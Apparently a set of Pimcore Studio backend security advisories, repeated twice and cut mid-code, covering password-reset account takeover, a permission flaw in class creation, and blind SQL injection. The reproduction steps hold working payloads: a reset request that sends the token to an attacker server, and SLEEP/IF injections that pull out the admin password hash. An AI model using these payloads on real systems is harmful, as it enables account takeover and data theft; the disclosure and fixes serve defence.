$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
private const ALLOWED_COLUMNS = ['id', 'name', 'date', 'type', 'creationDate', 'modificationDate'];
if (!in_array($key, self::ALLOWED_COLUMNS, true)) {
    throw new InvalidArgumentException('Invalid filter column');
}

Apply the same fix to EqualsFilter, LikeFilter, and Note/FilterService as defense-in-depth, even though those are currently protected by PDO named parameter validation.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11
• MySQL general query log confirms injected SQL reaches the database
• The safe pattern (quoteIdentifier()) exists in the same codebase in LogRepository.php line 202
• Package: pimcore/studio-backend-bundle

Summary

An unauthenticated attacker takes over any Pimcore admin account by sending a password reset request with an attacker-controlled resetPasswordUrl. The server generates a real cryptographic recovery token, appends it to the attacker's URL, and emails the link to the victim. When the victim clicks the link in their email, the token is sent to the attacker's server. The attacker then uses POST /pimcore-studio/api/login/token to authenticate as the victim with full admin privileges. Token login explicitly disables two-factor authentication, so even accounts with TOTP/Google Authenticator are compromised.

Vulnerability Details

Unauthenticated Endpoint Accepts Attacker URL

The reset password endpoint at src/User/Controller/ResetPasswordController.php line 53 is public (uses PUBLIC_STUDIO_API voter). The ResetPassword schema at src/User/Schema/ResetPassword.php accepts a resetPasswordUrl string as a required parameter with zero validation. No URL scheme check, no domain allowlist, no comparison against the configured system domain.

final readonly class ResetPassword
{
    public function __construct(
        private string $username,
        private string $resetPasswordUrl  // attacker-controlled, no validation
    ) {}
}

Token Appended to Attacker URL

In src/User/Service/UserLoginService.php at line 64-65, the service generates a real recovery token and concatenates the attacker's URL with the token:

$token = $this->authenticationResolver->generateTokenByUser($user);
$loginUrl = $resetPassword->getResetPasswordUrl() . '?token=' . $token;

The token is generated and stored in the database BEFORE sendResetPasswordMail() is called on line 68. Even if email delivery fails, the token exists.

Token Login Bypasses 2FA

src/Security/Authenticator/AdminTokenAuthenticator.php line 60 explicitly disables 2FA on token login:

$pimcoreUser->setTwoFactorAuthentication('required', false);

Token Validity

The token is encrypted with the application secret, valid for 24 hours, and single-use (nullified after authentication). The attacker's server captures it before the victim completes any reset flow.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4.

1. Send password reset with attacker URL (no authentication needed)

POST /pimcore-studio/api/user/reset-password HTTP/1.1
Host: TARGET
Content-Type: application/json

{"username":"admin","resetPasswordUrl":"https://ATTACKER_SERVER:9999/steal"}

• Response: 500 (email delivery failed in test env, but token def5020020bd133... visible in error trace, confirmed generated in DB

2. Confirm token was generated

Database query shows the recovery token was created:

 name    has_token   token_prefix
 admin   1           def50200cdbd3c1292288a716c623f

3. Token login (after victim clicks the link in their email)

POST /pimcore-studio/api/login/token HTTP/1.1
Host: TARGET
Content-Type: application/json

{"token":"def50200cdbd3c1292288a716c623f...full_token..."}

Response:

HTTP/1.1 200 OK
Set-Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419; path=/; httponly; samesite=strict
Set-Cookie: pimcore_studio_auth_profile_token=d7a9ad; path=/; httponly; samesite=lax

4. Verify full admin access with the stolen session

GET /pimcore-studio/api/users HTTP/1.1
Host: TARGET
Cookie: PHPSESSID=48d784c5bfcc09c8b897f2ab34038419

Response: HTTP/1.1 200 OK

{"totalItems":1,"items":[{"id":1,"username":"admin","additionalAttributes":[]}]}

Full admin session obtained. All CMS content, assets, PIM data, user accounts, and system configuration are accessible.

Impact

An unauthenticated attacker who knows a valid admin username takes over the account with full administrative privileges. The only user interaction is the victim clicking a password reset link in a legitimate email from the Pimcore instance. The email comes from the real Pimcore server, making it indistinguishable from a genuine reset email.

The attack bypasses authentication (public endpoint), two-factor authentication (explicitly disabled on token login), and rate limiting (allows 3 attempts per window, trivially worked around with multiple IPs).

Once authenticated as admin, the attacker controls all CMS content, digital assets, PIM product data, user accounts, system configuration, and server-side code execution via class definitions.

Recommended Fix

Remove the resetPasswordUrl parameter entirely and construct the URL server-side from the configured system domain:

$loginUrl = 'https://' . $this->domain . '/admin/login?token=' . $token;

If the frontend needs to specify the URL for multi-domain setups, validate the host against the configured domain and any registered Site domains.

Supporting Materials

• Live-tested on Pimcore 12.x (2026.x branch, Docker, PHP 8.4)
• Package: pimcore/studio-backend-bundle
• Distinct from CVE-2021-39189 (user enumeration in password reset, not URL injection)

Summary

The Studio API class definition creation endpoint in pimcore/studio-backend-bundle is guarded by the objects permission instead of the classes permission, allowing any standard editor-level user to create class definitions without admin privileges. Class definition creation is a structural admin operation that generates new database tables and PHP class files on the server. Additionally, the API layer performs no format validation on the uid field before passing it to the model layer, relying solely on model-level validation that exists downstream in ClassDefinition::saveClassInternal().

Details

Issue 1 — Incorrect permission guard on CreateController

studio-backend-bundle/src/Class/Controller/DefinitionConfiguration/CreateController.php:

#[IsGranted(UserPermissions::DATA_OBJECTS->value)]

The endpoint POST /pimcore-studio/api/class/definition/configuration-view/detail/create is protected by DATA_OBJECTS (the objects permission), which is a standard editor-level permission granted to content editors for creating and editing data objects. Class definition creation is a structural admin operation equivalent to schema modification, it creates new database tables and generates PHP class files on the server. This operation should require the classes permission, which is the permission Pimcore enforces for class definition management in the Classic Admin.

Any authenticated user with object editing rights can call this endpoint and create new class definitions, bypassing the intended admin-only restriction. The same user cannot perform this action through the Classic Admin UI, confirming the Studio API enforces a weaker permission check than the existing interface.

Correct guard:

#[IsGranted(UserPermissions::CLASSES->value)]

Issue 2 — No UID format validation at the API layer

studio-backend-bundle/src/Class/MappedParameter/CreateClassDefinitionParameters.php:

public function __construct(
    private string $name,
    private string $uid
) {
    if (trim($name) === '' || trim($uid) === '') {
        throw new InvalidArgumentException('Class name and UID cannot be empty.');
    }
}

Only an empty-string check is performed on uid at the API boundary before the value is passed to the model layer. While ClassDefinition::saveClassInternal() now validates the UID format via anchored regex, no equivalent validation exists in CreateClassDefinitionParameters. A malformed UID passes through the API layer without any format check and only fails deep in the model layer, returning an unformatted internal exception to the caller rather than a clean 400 API validation response, which can expose internal stack traces depending on server configuration.

Defense-in-depth requires validation at the API boundary consistent with the model layer. The same regex now applied in ClassDefinition.php should also be enforced here:

if (!preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_]*$/', trim($this->uid))) {
    throw new InvalidArgumentException(
        sprintf('Invalid UID for class definition: %s', $this->uid)
    );
}

Affected files in pimcore/studio-backend-bundle:

• src/Class/Controller/DefinitionConfiguration/CreateController.php
• src/Class/MappedParameter/CreateClassDefinitionParameters.php

Vulnerable endpoint: POST /pimcore-studio/api/class/definition/configuration-view/detail/create

PoC

Prerequisites:

• Pimcore 2026.1.x with Studio API enabled
• A user editor with only the objects permission and no classes permission

Step 1 — Authenticate as the editor user:

curl -s -c /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"editor","password":"password"}'

Expected response:

{"message": "Login successful"}

Step 2 — Confirm the user has no class management access in Classic Admin

Log into Classic Admin as editor. Verify the Classes menu is not visible and the user cannot access Settings > Classes. This confirms the classes permission is not granted to this user.

Step 3 — Create a class definition via the Studio API despite lacking the classes permission:

curl -s -b /tmp/cookies.txt -X POST \
  "https://your-pimcore/pimcore-studio/api/class/definition/configuration-view/detail/create" \
  -H "Content-Type: application/json" \
  -d '{"name":"UnauthorizedClass","uid":"testuid1"}'

Expected response (vulnerable):

{"id": "testuid1", "name": "UnauthorizedClass", ...}

The class definition is created successfully by a user with no classes permission. The Studio API accepts the request where the Classic Admin would deny it entirely.

Expected response (patched):

{"status": 403, "detail": "Access denied."}

Impact

Any authenticated Pimcore user with the standard objects permission can create class definitions via the Studio API, bypassing the classes permission restriction enforced in the Classic Admin. This is a privilege escalation from editor level to a capability that should be restricted to administrators. Class definition creation generates new database tables and PHP class files on the server, giving an unprivileged user the ability to modify the application schema, introduce malformed class structures, and trigger downstream processing outside their permission scope.

The missing API-layer UID validation compounds this by allowing malformed UIDs to reach the model layer, producing unhandled internal exceptions that may expose stack traces depending on server debug configuration.

• Authentication required from attacker: Yes - valid Pimcore session with objects permission required
• Authentication required from victim: No - no victim action needed
• What is accessible: Full class definition creation capability including database table generation and PHP class file creation on the server

Summary

An authenticated user extracts the admin password hash and any other database content through a time-based blind SQL injection in the DateFilter column key parameter. The POST /pimcore-studio/api/website-settings endpoint (and 11 other listing endpoints) accepts a columnFilters array where the key field is interpolated directly into SQL with only manual backtick wrapping. The DateFilter uses fixed named parameters (:minTime, :maxTime), so the injected column name is not subject to PDO named parameter validation. An attacker breaks out of the backtick quoting with a backtick character and appends arbitrary SQL, including SLEEP() for time-based extraction and IF() subqueries for conditional data exfiltration.

Vulnerability Details

Exploitable: DateFilter with Fixed Named Parameters

src/Listing/Filter/DateFilter.php lines 49-57 handle the on operator. The column key comes from user input and is placed in the SQL with manual backtick wrapping, while the named parameters are hardcoded as :minTime and :maxTime:

$key = $column->getKey();  // user-controlled, no validation
$dateCondition = '`' . $key . '` ' . ' BETWEEN :minTime AND :maxTime';
$listing->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => ...]);

Because the named parameters are fixed strings, PDO accepts the binding regardless of what the column name contains.

Same Pattern in Note FilterService

src/Note/Service/FilterService.php lines 64-67:

$dateCondition = '`' . $filter[$propertyKey] . '` ' . ' BETWEEN :minTime AND :maxTime';
$list->addConditionParam($dateCondition, ['minTime' => $value, 'maxTime' => $maxTime]);

No Validation on Column Key

src/MappedParameter/Filter/ColumnFilter.php accepts any string as the key with zero validation or allowlisting.

Why Backtick Wrapping is Not Escaping

Manual backtick wrapping ('`' . $key . '`') does not escape internal backtick characters. quoteIdentifier() doubles them, manual wrapping does not. A backtick in the key breaks out of the quoting and the -- (double dash space) comments out the remainder of the query:

Input: key = "id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- "

Produces:

(`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)

Everything after -- is a SQL comment. The injected SLEEP(3) executes unconditionally.

Contrast with Safe Patterns in the Same Codebase

• LogRepository.php line 202: uses $this->dbResolver->get()->quoteIdentifier() (safe)
• ClassificationStore/Configuration/KeyRepository.php: uses ALLOWED_SORT_KEYS allowlist (safe)

Note on EqualsFilter/LikeFilter

The EqualsFilter and LikeFilter have the same manual backtick wrapping, but they reuse the column name as the PDO named parameter (:columnName). PDO requires named parameters to match [a-zA-Z0-9_], so injection characters cause a parameter binding error before SQL execution. These filters are not exploitable through this vector. The DateFilter is exploitable because it uses independent fixed parameter names.

Steps to Reproduce

Tested on Pimcore 12.x (2026.x branch, latest commit 82f9ff6), Docker, PHP 8.4, MariaDB 10.11.

Step 1: Baseline request (no injection)

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10}

Response: HTTP/1.1 200 OK -- totalItems: 1 -- 0.07 seconds

Step 2: Unconditional SLEEP(3) injection

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- totalItems: 0 -- 6.07 seconds

The 6-second delay (3s x 2 queries: SELECT + COUNT) confirms SQL injection. The MySQL general log shows the injected SQL executed:

SELECT id FROM website_settings WHERE (`id` BETWEEN 0 AND 99999999999) AND SLEEP(3)-- `  BETWEEN :minTime AND :maxTime)  ORDER BY `id` ASC LIMIT 50

Step 3: Conditional SLEEP proving data extraction (TRUE case)

This query tests whether the admin password hash starts with $2y$ (bcrypt, hex 0x24327924). If true, the server sleeps 3 seconds. If false, no delay.

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x24327924,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 6.07 seconds (TRUE: admin password hash starts with $2y$)

Step 4: Conditional SLEEP (FALSE case, wrong guess)

Same query but testing for XXXX (hex 0x58585858) instead:

POST /pimcore-studio/api/website-settings HTTP/1.1
Host: localhost:8095
Content-Type: application/json
Cookie: PHPSESSID=<AUTHENTICATED_SESSION>

{"page":1,"pageSize":10,"filters":{"columnFilters":[{"key":"id` BETWEEN 0 AND 99999999999) AND IF((SELECT SUBSTRING(password,1,4) FROM users WHERE id=1)=0x58585858,SLEEP(3),0)-- ","type":"date","filterValue":{"operator":"on","value":"2024-01-01"}}]}}

Response: HTTP/1.1 200 OK -- 0.07 seconds (FALSE: password does not start with XXXX)

Timing comparison

| Request | Payload | Response Time | Meaning | |---------|---------|---------------|---------| | Baseline | No injection | 0.07s | Normal | | Unconditional SLEEP | AND SLEEP(3) | 6.07s | Injection confirmed | | Conditional TRUE | IF(password starts with $2y$, SLEEP(3), 0) | 6.07s | Data extracted: hash is bcrypt | | Conditional FALSE | IF(password starts with XXXX, SLEEP(3), 0) | 0.07s | Control: no match, no delay |

By iterating through characters with SUBSTRING(password, N, 1), an attacker extracts the full bcrypt hash for offline cracking, or extracts passwordRecoveryToken values for direct account takeover without cracking.

Impact

An authenticated user with website_settings permission (or any permission granting access to a listing endpoint with DateFilter support) extracts the full contents of any database table one character at a time through conditional time-based blind SQL injection.

Directly extractable high-value data:

• Admin password hashes (users.password) for offline cracking
• Password recovery tokens (users.passwordRecoveryToken) for direct account takeover via POST /login/token
• Session data for session hijacking
• All PIM product data, CMS content, and asset metadata

Affected Endpoints

All endpoints using ListingFilter::applyFilters() with a DateFilter on column filter:

• POST /pimcore-studio/api/website-settings
• POST /pimcore-studio/api/notifications
• POST /pimcore-studio/api/recycle-bin
• POST /pimcore-studio/api/redirects
• POST /pimcore-studio/api/translations/{domain}
• POST /pimcore-studio/api/quantity-value/units
• POST /pimcore-studio/api/properties
• POST /pimcore-studio/api/classification-store/{storeId}/keys
• POST /pimcore-studio/api/classification-store/{storeId}/groups
• POST /pimcore-studio/api/classification-store/{storeId}/collections
• GET /pimcore-studio/api/notes/{elementType}/{id} (via Note FilterService fieldFilters)

Recommended Fix

Replace manual backtick wrapping with Doctrine\DBAL\Connection::quoteIdentifier(), or implement a per-listing allowlist of valid column names:

// Option 1: quoteIdentifier (doubles internal backticks)
$db = \Pimcore\Db::get();
$dateCondition = $db->quoteIdentifier($key) . ' BETWEEN :minTime AND :maxTime';

// Option 2: allowlist (preferred)
